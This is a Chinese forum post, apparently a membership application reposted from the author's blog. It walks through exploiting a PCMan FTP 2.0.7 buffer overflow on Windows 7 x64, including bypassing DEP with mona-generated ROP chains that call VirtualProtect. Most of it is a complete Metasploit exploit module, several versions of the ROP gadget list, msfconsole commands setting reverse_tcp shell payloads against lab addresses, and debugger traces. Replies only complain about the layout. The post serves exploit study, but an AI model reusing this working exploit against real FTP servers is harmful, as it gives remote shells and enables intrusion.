5.将上面的代码重命名为mypcmanftp.rb,放到kali中/usr/share/metasploit-framework/moudles/exploits/windows/my/目录下,使用如下命令:            use exploit/windows/my/mypcmanftp            set payload windows/meterpreter/reverse_tcp            set rhost 192.168.3.177            set lhost 192.168.3.106            exploit      成功溢出后返回meterpreter的shell如下图meterpreter1,其中打印出来的数据为代码中print_status(tmp)的结果,即payload的数据
图meterpreter1https://raw.githubusercontent.com/xinghuacai/pic/master/meterpreter1.png2>dep on实验中win7x64系统中dep开启如下:https://raw.githubusercontent.com/xinghuacai/pic/master/dep_open_on_win7.png参考http://www.blogbus.com/riusksk-logs/80935313.htmlhttp://drops.wooyun.org/papers/3602目的实现win7绕过dep并成功溢出pcmanftpmona插件    https://github.com/corelan/mona    https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/    https://huirong.github.io/2015/12/18/mona/    http://www.cnphp6.com/archives/45078    http://drops.wooyun.org/tips/6814在immunity debugger中执行!mona rop -m *.dll -cp nonull,将得到如下(rop_chains.txt中)建议的rop_gadgets:-------------rop_gadgets_from_mona____________def create_rop_chain()    # rop chain generated with mona.py - www.corelan.be    rop_gadgets =   [      0x027c9a7a,# POP ECX # RETN       0x73c112d0,# ptr to &VirtualProtect()       0x76969312,# MOV EAX,DWORD PTR DS: # RETN       0x753c6833,# XCHG EAX,ESI # RETN       0x76b5e6e8,# POP EBP # RETN       0x74916f14,# & push esp # ret      0x76b93866,# POP EAX # RETN       0xfffffdff,# Value to negate, will become 0x00000201      0x76bb2fd0,# NEG EAX # RETN       0x7727060d,# XCHG EAX,EBX # RETN       0x027f509d,# POP EAX # RETN       0xffffffc0,# Value to negate, will become 0x00000040      0x717d1e67,# NEG EAX # RETN       0x753fd586,# XCHG EAX,EDX # RETN       0x759e9941,# POP ECX # RETN       0x7647d27c,# &Writable location       0x759d4aad,# POP EDI # RETN       0x76cc4404,# RETN (ROP NOP)       0x7364681f,# POP EAX # RETN       0x90909090,# nop      0x772b73df,# PUSHAD # RETN     ].flatten.pack("V*")    return rop_gadgetsend------------------end-------------------------在pcmanftp中,重启系统后在上面的exploit.rb中将offset由2007改成2008,有可能是重启导致的一个字节的相差mona中给出rop_gadgets只是参考的rop,并不代表一定可用,且最新v2版本似乎有点错误,mona算出的rop_gadgets中的第一个地址0x027c9a7a在od中ctrl+g查看一下发现不是对应pop ecx,retn的地址,且有一些地址是执行会产生问题的,这时需要结合od在实际情况中调试实际调试中发现上面的第10个地址0x7727060d对应的XCHG EAX,EBX+retn在od中ctrl+g:7727060d确实是对应xchg eax,ebx+retn指令的,但是如果第10个地址用7727060d,在od跟踪pcmanftp(在402a26处下断,并f7,再f8,f8,...)中00402a26处的call 403e60后(402a26处的call 403e60汇编语句的下一句汇编语句的地址为402a2b,在上面dep off的实验中是堆栈窗口中的18ed64处的402a2b被改成jmp esp的地址)发现堆栈窗口中从18ed64处开始的对应的第10个地址会被改写,比较奇怪,认为是这个地址出了问题,从rop_suggestions.txt中找另外的XCHG EAX,EBX+RETN对应的地址代替后不会有这个问题pcmanftp中的关键断点:    00402a26处的call 403e60      403e60函数帧里面的403ee6处的call 00412cbf            412cbf函数帧里面的412ce8处的call 00416c5c继续od跟踪看哪些地址还需修改运行pcmanftp后od附加,在00402a26处下断,msf发送包含下面rop_gadgets的数据到192.168.3.177------------------changing rop_gadgets--------------   def create_rop_chain()      rop_gadgets =         [          0x778a45e1,# POP ECX # RETN           0x73c112d0,# ptr to &VirtualProtect()           0x76969312,# MOV EAX,DWORD PTR DS: # RETN           0x753c6833,# XCHG EAX,ESI # RETN           0x76b5e6e8,# POP EBP # RETN           0x74916f14,# & push esp # ret          0x76b93866,# POP EAX # RETN           0xfffffdff,# Value to negate, will become 0x00000201          0x76bb2fd0,# NEG EAX # RETN           0x756bd259,# XCHG EAX,EBX # RETN           0x74923ca7,# POP EAX # RETN           0xffffffc0,# Value to negate, will become 0x00000040          0x76cc4402,# NEG EAX # RETN           0x753fd586,# XCHG EAX,EDX # RETN           0x759e9941,# POP ECX # RETN           0x7647d27c,# &Writable location           0x759d4aad,# POP EDI # RETN           0x76cc4404,# RETN (ROP NOP)           0x7364681f,# POP EAX # RETN           0x90909090,# nop          0x772b73df,# PUSHAD # RETN       ].flatten.pack("V*")      return rop_gadgets      end-----------------------end--------------------------其中向192.168.3.177中pcmanftp发送的数据在下面的sploit变量中:-----------------------sploit---------------------   sploit = rand_text_alpha(target['Offset'])            #tmp = sploit      #print_status(tmp)      sploit << create_rop_chain()      sploit << make_nops(30)      sploit << "\xcc"      sploit << payload.encoded------------------------end-----------------------在msf发送完数据时,要在od中ctrl+v--->t--->resume all threads,原因见上面dep off情况中的分析resume all threads后,pcmanftp中断在00402a26,f9再运行到00402a26,此时开始处理sploit变量中的send_cmd( ["ls", sploit], false ),第一次中断到402a26处为处理anonymous登录相关的字符串此时汇编窗口中的数据如下所示,eip=402a26    00402A26    E8 35140000   call PCManFTP.00403E60    00402A2B    8A46 03         mov al,byte ptr ds:0x3]    00402A2E    84C0            test al,al    00402A30    75 04         jnz short PCManFTP.00402A36    00402A32    C646 03 20      mov byte ptr ds:0x3],0x20    00402A36    56            push esi    00402A37    8BCD            mov ecx,ebp    00402A39    E8 22000000   call PCManFTP.00402A60    00402A3E    68 DC114400   push PCManFTP.004411DC                   ; ASCII "    "    00402A43    6A 00         push 0x0    00402A45    E8 0CFF0000   call PCManFTP.00412956    00402A4A    8BF0            mov esi,eax    00402A4C    83C4 08         add esp,0x8    00402A4F    85F6            test esi,esi    00402A51^ 75 A6         jnz short PCManFTP.004029F9    00402A53    5F            pop edi                                  ; 0018ED78    00402A54    5E            pop esi                                  ; 0018ED78    00402A55    5D            pop ebp                                  ; 0018ED78    00402A56    81C4 04100000   add esp,0x1004    00402A5C    C2 0400         retn 0x4此时堆栈中18ed64处的返回地址还没有被覆盖,如下所示:    0018ED5C   00000000    0018ED60   00000000    0018ED64   00402A05PCManFTP.00402A05    0018ED68   0018ED78ASCII "LS XnVkIvmqpcmSqSVEClMqFIHQzEBjHrHLdzEnDtwxDnbcqTqseEHLARmjMQrGaiNEnQpxxbUisIZaqPwjoePQmmCPMzhAZDIhYffDXdhLCrWCyhuidqcfuMFhMZecDDopTpMGWcQShqwfgLoDFfnSHbUvoEMVuDLiFEYfaTFfCAAoDuwasvaujuFloUrmoYzyyWqkvXOxkMBqUsTwpPZkbQalYgrryMvEeYywOCAiJv"...    0018ED6C   00000402    0018ED70   00000000其中0018ed5c处的返回地址已经被覆盖成00000000,18ed68处的的指针对应的是msf中的sploit变量的数据od中f7进入403e60函数帧:    00403E60    A1 40354400   mov eax,dword ptr ds:[0x443540]    00403E65    81EC 14080000   sub esp,0x814    00403E6B    85C0            test eax,eax    00403E6D    56            push esi    00403E6E    57            push edi    00403E6F    8BF1            mov esi,ecx    00403E71    75 0D         jnz short PCManFTP.00403E80    00403E73    A1 48354400   mov eax,dword ptr ds:    00403E78    85C0            test eax,eax    00403E7A    0F84 31010000   je PCManFTP.00403FB1    00403E80    8D4424 08       lea eax,dword ptr ss:    00403E84    50            push eax    00403E85    FF15 A8524300   call dword ptr ds:[<&KERNEL32.GetLocalTi>; kernel32.GetLocalTime    00403E8B    8B46 24         mov eax,dword ptr ds:0x24]    00403E8E    85C0            test eax,eax    00403E90    74 05         je short PCManFTP.00403E97    00403E92    8B40 08         mov eax,dword ptr ds:0x8]    00403E95    EB 03         jmp short PCManFTP.00403E9A    00403E97    8B46 04         mov eax,dword ptr ds:0x4]    00403E9A    8BBC24 20080000 mov edi,dword ptr ss:0x820]    00403EA1    8B5424 12       mov edx,dword ptr ss:0x12]    00403EA5    8B4E 0C         mov ecx,dword ptr ds:0xC]    00403EA8    57            push edi    00403EA9    50            push eax    00403EAA    8B4424 18       mov eax,dword ptr ss:0x18]    00403EAE    81E2 FFFF0000   and edx,0xFFFF    00403EB4    51            push ecx    00403EB5    8B4C24 1A       mov ecx,dword ptr ss:0x1A]    00403EB9    25 FFFF0000   and eax,0xFFFF    00403EBE    52            push edx    00403EBF    8B5424 1A       mov edx,dword ptr ss:0x1A]    00403EC3    50            push eax    00403EC4    8B4424 1C       mov eax,dword ptr ss:0x1C]    00403EC8    81E1 FFFF0000   and ecx,0xFFFF    00403ECE    81E2 FFFF0000   and edx,0xFFFF    00403ED4    51            push ecx    00403ED5    25 FFFF0000   and eax,0xFFFF    00403EDA    52            push edx    00403EDB    50            push eax    00403EDC    8D4C24 3C       lea ecx,dword ptr ss:0x3C]    00403EE0    68 D4164400   push PCManFTP.004416D4                   ; ASCII "%d/%d/%d [%02d:%02d] (%05d) %s> %s    "    00403EE5    51            push ecx    00403EE6    E8 D4ED0000   call PCManFTP.00412CBF    00403EEB    8B0D 14354400   mov ecx,dword ptr ds:[0x443514]    00403EF1    83C4 28         add esp,0x28    00403EF4    83F9 FF         cmp ecx,-0x1    00403EF7    74 14         je short PCManFTP.00403F0D    00403EF9    8D5424 18       lea edx,dword ptr ss:0x18]    00403EFD    6A 00         push 0x0    00403EFF    52            push edx    00403F00    50            push eax    00403F01    8D4424 28       lea eax,dword ptr ss:0x28]    00403F05    50            push eax    00403F06    51            push ecx    00403F07    FF15 C8524300   call dword ptr ds:[<&KERNEL32.WriteFile>>; kernel32.WriteFile    00403F0D    A1 48354400   mov eax,dword ptr ds:[0x443548]    00403F12    85C0            test eax,eax    00403F14    0F84 97000000   je PCManFTP.00403FB1    00403F1A    E8 1FCC0100   call PCManFTP.00420B3E    00403F1F    85C0            test eax,eax    00403F21    0F84 8A000000   je PCManFTP.00403FB1    00403F27    8B10            mov edx,dword ptr ds:    00403F29    8BC8            mov ecx,eax    00403F2B    FF52 74         call dword ptr ds:0x74]    00403F2E    85C0            test eax,eax    00403F30    74 7F         je short PCManFTP.00403FB1    00403F32    0FBE07          movsx eax,byte ptr ds:    00403F35    50            push eax    00403F36    E8 25EF0000   call PCManFTP.00412E60    00403F3B    83C4 04         add esp,0x4    00403F3E    85C0            test eax,eax    00403F40    74 4A         je short PCManFTP.00403F8C    00403F42    E8 F7CB0100   call PCManFTP.00420B3E    00403F47    85C0            test eax,eax    00403F49    74 23         je short PCManFTP.00403F6E    00403F4B    8B10            mov edx,dword ptr ds:    00403F4D    8BC8            mov ecx,eax    00403F4F    FF52 74         call dword ptr ds:0x74]    00403F52    8D4C24 1C       lea ecx,dword ptr ss:0x1C]    00403F56    51            push ecx    00403F57    68 00800000   push 0x8000    00403F5C    8BC8            mov ecx,eax    00403F5E    E8 8D5D0000   call PCManFTP.00409CF0    00403F63    5F            pop edi                                  ; PCManFTP.00402A2B    00403F64    5E            pop esi                                  ; PCManFTP.00402A2B    00403F65    81C4 14080000   add esp,0x814    00403F6B    C2 0400         retn 0x4一直f8到上面403ee6处的call 00412cbf,暂时不跟进,再按f8之后将完成18ed64处的返回地址被覆盖f8后18ed64处的覆盖内容如下:      0018ED5C   564F514E#此时此处的原来被覆盖成00000000的wsock.revc函数的返回地址被覆盖成另外的值    0018ED60   6475586A    0018ED64   778A45E1返回到 ntdll_12.778A45E1 来自 ntdll_12.DbgPrint    0018ED68   73C112D0<&KERNEL32.VirtualProtect>    0018ED6C   76969312ole32.76969312    0018ED70   753C6833返回到 KernelBa.753C6833    0018ED74   76B5E6E8msvcrt.76B5E6E8    0018ED78   74916F14riched20.74916F14    0018ED7C   76B93866msvcrt.76B93866    0018ED80   FFFFFDFF    0018ED84   76BB2FD0msctf.76BB2FD0    0018ED88   756BD259shell32.756BD259    0018ED8C   74923CA7riched20.74923CA7    0018ED90   FFFFFFC0    0018ED94   76CC4402user32.76CC4402    0018ED98   753FD586comdlg32.753FD586    0018ED9C   759E9941返回到 shell32.759E9941 来自 shell32.756DC254    0018EDA0   7647D27Cusp10.7647D27C    0018EDA4   759D4AADshell32.759D4AAD    0018EDA8   76CC4404user32.76CC4404    0018EDAC   7364681Fcomctl32.7364681F    0018EDB0   90909090    0018EDB4   772B73DFoleaut32.772B73DF    0018EDB8   939F4848    0018EDBC   3F9BD691    0018EDC0   4E274E37    0018EDC4   D6439937    0018EDC8   4B484393    0018EDCC   91FDF948    0018EDD0   479FFC4E    0018EDD4   F8CC4691其中rop_gadgets数据已经完全和发送的一样,而rop_gadgets后0018edb8处开始到0018edd5原来应该是30个nop+"\xcc",其中的30个nop数据不是nop数据了,"\xcc"没变在od中ctrl+f9运行到retn,然后再f8,此时eip=rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题f8跟踪到0018edb4处的772b73df,772b73df中的指令为pushad retn,可想,执行完pushad后esp就上移了,这样再retn的话retn到的便不是rop_gadgets中的原来的应该是30个nop处的地方(现在被改写了,不再是30个nop)觉得是mona的错误,不应该在最后加个poshad+retn的地址,将rop_gadgets中最后的pushad+retn的地址删除后再重新发送sploit数据并跟踪到rop_gadgets中第一个数据,然后再f8..f8看看哪里会出问题再次进入到rop_gadgets中的第一个地址778a45e1处,此时eip=778a45e1,堆栈窗口中的18ed64处的数据为:    0018ED64   778A45E1ntdll_12.778A45E1    0018ED68   73C112D0<&KERNEL32.VirtualProtect>    0018ED6C   76969312ole32.76969312    0018ED70   753C6833返回到 KernelBa.753C6833    0018ED74   76B5E6E8msvcrt.76B5E6E8    0018ED78   74916F14riched20.74916F14    0018ED7C   76B93866msvcrt.76B93866    0018ED80   FFFFFDFF    0018ED84   76BB2FD0msctf.76BB2FD0    0018ED88   756BD259shell32.756BD259    0018ED8C   74923CA7riched20.74923CA7    0018ED90   FFFFFFC0    0018ED94   76CC4402user32.76CC4402    0018ED98   753FD586comdlg32.753FD586    0018ED9C   759E9941返回到 shell32.759E9941 来自 shell32.756DC254    0018EDA0   7647D27Cusp10.7647D27C    0018EDA4   759D4AADshell32.759D4AAD    0018EDA8   76CC4404user32.76CC4404    0018EDAC   7364681Fcomctl32.7364681F    0018EDB0   90909090    0018EDB4   4A4E96F5    0018EDB8   4841F59B    0018EDBC   48FD4B99    0018EDC0   93909899    0018EDC4   93989B4F    0018EDC8   904242F9    0018EDCC   98379648    0018EDD0   90CC2797对比观察发现rop_gadgets中的地址还没开始执行(eip=778a45e1)时,后面的rop_gadgets数据不变,但是后面30个nop还是被改成其他数据,尝试将后面的30个nop改成41414141...再次跟踪到eip=rop_gadgets中的第一个地址778a45e1时,堆栈窗口中的数据如下:    0018ED64   778A45E1ntdll_12.778A45E1    0018ED68   73C112D0<&KERNEL32.VirtualProtect>    0018ED6C   76969312ole32.76969312    0018ED70   753C6833返回到 KernelBa.753C6833    0018ED74   76B5E6E8msvcrt.76B5E6E8    0018ED78   74916F14riched20.74916F14    0018ED7C   76B93866msvcrt.76B93866    0018ED80   FFFFFDFF    0018ED84   76BB2FD0msctf.76BB2FD0    0018ED88   756BD259shell32.756BD259    0018ED8C   74923CA7riched20.74923CA7    0018ED90   FFFFFFC0    0018ED94   76CC4402user32.76CC4402    0018ED98   753FD586comdlg32.753FD586    0018ED9C   759E9941返回到 shell32.759E9941 来自 shell32.756DC254    0018EDA0   7647D27Cusp10.7647D27C    0018EDA4   759D4AADshell32.759D4AAD    0018EDA8   76CC4404user32.76CC4404    0018EDAC   7364681Fcomctl32.7364681F    0018EDB0   90909090    0018EDB4   41414141    0018EDB8   41414141    0018EDBC   41414141    0018EDC0   41414141    0018EDC4   41414141    0018EDC8   41414141    0018EDCC   41414141    0018EDD0   4FCC4141发现这时后面的30个41还是正常的没有被改变的,这样说明应该是win7x64位系统下开户dep后,栈中覆盖好的nop串会被改变成其他随机的填充数据,也有可能是nop串太长为30个时才会这样,考虑到上一篇文中http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/提到msf的payload前面有可能需要至少9个nop空间帮助完成payload的解码等工作,将30个nop改成9个nop试试9个nop会不会被改成随机的填充数据再次重新跟踪到eip=rop_gadgets中的第一个地址时,18ed64处的数据为:    0018ED64   778A45E1ntdll_12.778A45E1    0018ED68   73C112D0<&KERNEL32.VirtualProtect>    0018ED6C   76969312ole32.76969312    0018ED70   753C6833返回到 KernelBa.753C6833    0018ED74   76B5E6E8msvcrt.76B5E6E8    0018ED78   74916F14riched20.74916F14    0018ED7C   76B93866msvcrt.76B93866    0018ED80   FFFFFDFF    0018ED84   76BB2FD0msctf.76BB2FD0    0018ED88   756BD259shell32.756BD259    0018ED8C   74923CA7riched20.74923CA7    0018ED90   FFFFFFC0    0018ED94   76CC4402user32.76CC4402    0018ED98   753FD586comdlg32.753FD586    0018ED9C   759E9941返回到 shell32.759E9941 来自 shell32.756DC254    0018EDA0   7647D27Cusp10.7647D27C    0018EDA4   759D4AADshell32.759D4AAD    0018EDA8   76CC4404user32.76CC4404    0018EDAC   7364681Fcomctl32.7364681F    0018EDB0   90909090    0018EDB4   4E43F842    0018EDB8   D64348F9    0018EDBC   4B46CCFD发现9个nop还是会被填充成随机数据(后来发现不是被win7x64系统的安全保护填充的,而是因为msf自带的nop有好几种,不只是9090,其他应该是类似的花指令),\xcc到是一直没有被改写,试着不要9个nop了,将原来rop_gadges中的pushad+retn指令的地址改成一条jmp esp指令的地址,并在该地址后接payload数据,上面的dep off时的exploit.rb中的jmp esp的地址76061b1b在dep on时为call esp汇编语句的地址,不用在od中查找其他的了,call esp也可跳到后面的pyaload执行发送如下的rop_gadgets数据+不要nop+不要\xcc的数据到pcmanftp:---------------sploit data-------------def create_rop_chain()      rop_gadgets =         [          0x778a45e1,# POP ECX # RETN           0x73c112d0,# ptr to &VirtualProtect()           0x76969312,# MOV EAX,DWORD PTR DS: # RETN           0x753c6833,# XCHG EAX,ESI # RETN           0x76b5e6e8,# POP EBP # RETN           0x74916f14,# & push esp # ret          0x76b93866,# POP EAX # RETN           0xfffffdff,# Value to negate, will become 0x00000201          0x76bb2fd0,# NEG EAX # RETN           0x756bd259,# XCHG EAX,EBX # RETN           0x74923ca7,# POP EAX # RETN           0xffffffc0,# Value to negate, will become 0x00000040          0x76cc4402,# NEG EAX # RETN           0x753fd586,# XCHG EAX,EDX # RETN           0x759e9941,# POP ECX # RETN           0x7647d27c,# &Writable location           0x759d4aad,# POP EDI # RETN           0x76cc4404,# RETN (ROP NOP)           0x7364681f,# POP EAX # RETN           0x90909090,# nop          #0x772b73df,# PUSHAD # RETN           0x76061b1b,#call esp      ].flatten.pack("V*")      return rop_gadgets      end      def exploit      connect_login            print_status('Generating payload...')      sploit = rand_text_alpha(target['Offset'])            #tmp = sploit      #print_status(tmp)      sploit << create_rop_chain()      #sploit << make_nops(9)      #sploit << "\x41"*30      #sploit << "\xcc"      sploit << payload.encoded            tmp=sploit      print_status(tmp)            send_cmd( ["ls", sploit], false )      disconnect      end    end-------------------end-----------------再次跟踪到rop_gadges中的第一个地址,再f8直到上面sploit变量中的rop_gadget中的最后一个地址call esp的地址处程序报错,异常偏移为00a31b1b,难道是rop_gadgets中的地址串执行后没有实现后面的payload为栈中可执行?再次跟踪到rop_gadgets中的所有地址,发现最后jmp esp执行后程序报错,报出0018edb8处为异常偏移,而0018edb8处为payload开始的对应的堆栈窗口中地址,且每次0018edb8中的数据都不同,难道连payload都被随机数填充了?有比较大的可能性是执行完上面的rop_gadgets中的地址对应的指令后没有实现payload在栈中可执行,难道是不应该把mona生成的rop_gadges中的最后的pushad+retn对应的地址换成jmp esp的地址?再看看相关mona的资料,后面的pushad + retn应该是存在的,具体原因见下图virtualprotect_rop中所示
图virtualprotect_rophttps://raw.githubusercontent.com/xinghuacai/pic/master/virtualprotect_rop.pngmona生成的rop_gadgets中的最后一句中的pushad+retn指令的地址是必须的,正是通过pushad+retn的执行才可以导致virtualprotect的执行,实现的原理是在pushad之前将pushad的各个寄存器按照对应的顺序设置成刚好可以调用virtualprotect函数使后面的shellcode为可执行后来调试在进入virtualprotect_rop前最后一个函数00403e60的返回语句是retn 4而不是retn,所以rop_gadgets中的第一个地址后要加一个过渡的值,这里取为0x41414141----------------------------00403e60--------------------------------    00402A26    E8 35140000   call PCManFTP.00403E60    00402A2B    8A46 03         mov al,byte ptr ds:0x3]                  00403E60    A1 40354400   mov eax,dword ptr ds:[0x443540]      00403E65    81EC 14080000   sub esp,0x814      00403E6B    85C0            test eax,eax      ...      ...      ...      00403FB1    5F            pop edi                                  ; kernel32.77032C3B      00403FB2    5E            pop esi                                  ; kernel32.77032C3B      00403FB3    81C4 14080000   add esp,0x814      00403FB9    C2 0400         retn 0x4-------------------------------end-----------------------------------在mona生成的最后rop_chains.txt文件中有virutalalloc过dep的rop_gadgets,也有virtualprotect过dep的rop_gadgets,刚开始以为是mona出错了,后来发现是用到了mona里面的virtualalloc过dep方式0day2中提到下面几种方法过dep:1.ZwSetInformationProcess:利用api彻底关闭dep2.VirtualProtect:利用api设置shellcode所在的内存空间为可执行3.VirtualAlloc:利用api申请可执行内存后将shellcode复制过去(需再用memcopy的api)4.利用可执行内存挑战dep5.利用.NET挑战dep6.利用Java applet挑战dep这里用的是2中的virtualprotect中的方法,mona生成的virtualalloc的方法应该是缺少了memcopy的chain,导致刚开始一直错误地以为mona错了最后再用mona生成的rop_gadgets如下:(第二个地址为新添加的0x41414141)--------------------new_rop_gadgets--------------------    rop_gadgets =   [      0x77032c3b,# POP EAX # RETN       0x41414141,# added data to fit retn 4 from func 00403e60      0x73c112d0,# ptr to &VirtualProtect()       0x76bb4412,# MOV EAX,DWORD PTR DS: # RETN       0x76408d2a,# XCHG EAX,ESI # RETN       0x76b607f0,# POP EBP # RETN       0x74916f14,# & push esp # ret      0x7368b031,# POP EAX # RETN       0xffffddff,# Value to negate, will become 0x00000201      0x756c9a5c,# NEG EAX # RETN       0x767088bd,# XCHG EAX,EBX # RETN       0x77031d7b,# POP EAX # RETN       0xffffffc0,# Value to negate, will become 0x00000040      0x76cc4402,# NEG EAX # RETN       0x76b4ad98,# XCHG EAX,EDX # RETN       0x756b1cc1,# POP ECX # RETN       0x7647c663,# &Writable location       0x73756cf3,# POP EDI # RETN       0x76cc4404,# RETN (ROP NOP)       0x76b3f5d4,# POP EAX # RETN       0x90909090,# nop      0x7366e16f,# PUSHAD # RETN     ].flatten.pack("V*")------------------------end----------------------------再次开msf发payload,od附加,调试时发现如下图ebx_error错误
图ebx_errorhttps://raw.githubusercontent.com/xinghuacai/pic/master/ebx_error.png后来发现原来的mona中的virtualprotect是获得0x201(对应上面的0xffffddff,neg取反后为0x201)个可执行栈空间,以为是msf中的payload比这个长导致shellcode执行出错,后来将这个值设置为0xffffddff后没能关掉dep,应该是由于长度太大或许超过了栈空间的大小而导致virtualprotect函数的失败,于是没能成功关掉dep后来将这个值设置成0xfffffaff(neg取反后的结果比0x201大),又可以关掉dep了,只是后面的shellcode执行还是不成功怀疑有可能是像上图ebx_error中说的是ebx错了,也有可能是像0day2中说的ebp在溢出的过程中被破坏,这些只有再次从od中动态分析才可知后来还是自己想多了,mona之所以称为神器,在于的确是神器,怎会轻易出错换个payload马上成功,对msf还是不够熟悉!!一个payload不行可以换啊!!最后的exploit.rb如下,改成mypcmanftp-anti-dep.rb,放到/msfdirectory/modules/exploit/windows/my/目录下后执行下面的命令:use exploit/windows/my/mypcmanftp-anti-depset payload windows/shell/reverse_tcp_rc4set RC4PASSWORD mypasswordexploit成功弹shell----------------------------exploit.rb-------------------------------    # This module requires Metasploit: http://metasploit.com/download    # Current source: https://github.com/rapid7/metasploit-framework    ##      require 'msf/core'      class Metasploit3 < Msf::Exploit::Remote      Rank = NormalRanking          include Msf::Exploit::Remote::Ftp          def initialize(info = {})      super(update_info(info,          'Name'         => 'PCMAN FTP Server Buffer Overflow - PUT Command',          'Description'    => %q{            This module exploits a buffer overflow vulnerability found in the PUT command of the            PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous            credientials are enabled.          },          'Author'         =>            [                'quanyechavshuo'            ],          'License'      => MSF_LICENSE,          'References'   =>            [            [ 'EDB',   '37731'],            [ 'OSVDB',   '94624']            ],          'DefaultOptions' =>            {            'EXITFUNC' => 'process'            },          'Payload'      =>            {            'Space'   => 1000,            'BadChars'=> "\x00\x0A\x0D",            },          'Platform'       => 'win',          'Targets'      =>            [            [ 'windows 7 x64',                {                  'Ret' => 0x77636aeb, # jmp esp C:\WINDOWS\system32\ntdll.dll                  'Offset' => 2008                }            ],            ],          'DisclosureDate' => 'Aug 07 2015',          'DefaultTarget'=> 0))      end          def check      connect_login      disconnect            if /220 PCMan's FTP Server 2\.0/ === banner          Exploit::CheckCode::Appears      else          Exploit::CheckCode::Safe      end      enddef create_rop_chain()    # rop chain generated with mona.py - www.corelan.be    rop_gadgets =   [      0x77032c3b,# POP EAX # RETN        0x41414141,      0x73c112d0,# ptr to &VirtualProtect()       0x76bb4412,# MOV EAX,DWORD PTR DS: # RETN        0x76408d2a,# XCHG EAX,ESI # RETN        0x76b607f0,# POP EBP # RETN        0x74916f14,# & push esp # ret      0x7368b031,# POP EAX # RETN        0xfffffaff,# Value to negate, will become 0x00000201      0x756c9a5c,# NEG EAX # RETN        0x767088bd,# XCHG EAX,EBX # RETN        0x77031d7b,# POP EAX # RETN        0xffffffc0,# Value to negate, will become 0x00000040      0x76cc4402,# NEG EAX # RETN        0x76b4ad98,# XCHG EAX,EDX # RETN        0x756b1cc1,# POP ECX # RETN        0x7647c663,# &Writable location       0x73756cf3,# POP EDI # RETN        0x76cc4404,# RETN (ROP NOP)       0x76b3f5d4,# POP EAX # RETN        0x90909090,# nop       0x7366e16f,# PUSHAD # RETN    ].flatten.pack("V*")    return rop_gadgetsend      def exploit      connect_login            print_status('Generating payload...')      sploit = rand_text_alpha(target['Offset'])            #tmp = sploit      #print_status(tmp)      sploit << create_rop_chain()      #sploit << make_nops(9) 这句产生的nop并非90      sploit << "\x90"*30      #sploit << "\x41"*30      #sploit << "\xcc"      sploit << payload.encoded            #tmp=sploit      tmp=make_nops(9)      print_status(tmp)            send_cmd( ["ls", sploit], false )      disconnect      end      end-------------------------------end-----------------------------------
https://raw.githubusercontent.com/xinghuacai/pic/master/succeed.png

Hmily 发表于 2016-6-21 11:43

发的乱七八糟的,是从其他地方复制过来的吗?

珍珠先生 发表于 2016-6-21 15:30

眼花了,没看明白啥意思

发表于 2016-6-21 13:53

Hmily 发表于 2016-6-21 11:43
发的乱七八糟的,是从其他地方复制过来的吗?

从自己的博客上复制过来的,可以改格式吗,没找到编辑功能

Hmily 发表于 2016-6-21 15:05

游客 27.255.94.x 发表于 2016-6-21 13:53
从自己的博客上复制过来的,可以改格式吗,没找到编辑功能

提供一下原始出处地址。

taohanhan 发表于 2016-6-21 15:14

楼主的 排版太乱了

q3125418 发表于 2016-6-21 15:22

受不了,

联盟少侠 发表于 2016-6-21 15:24

我的眼睛。漏洞挖掘这玩的有点叼了,祝楼主成功入住吾爱!

zz110044 发表于 2016-6-21 16:01

粘贴到文本在复制出来应该会好吧

as51271239 发表于 2016-6-21 16:10

好乱,这么多,眼花缭乱
页: [1] 2
查看完整版本: 申请会员ID:quanyechavshuo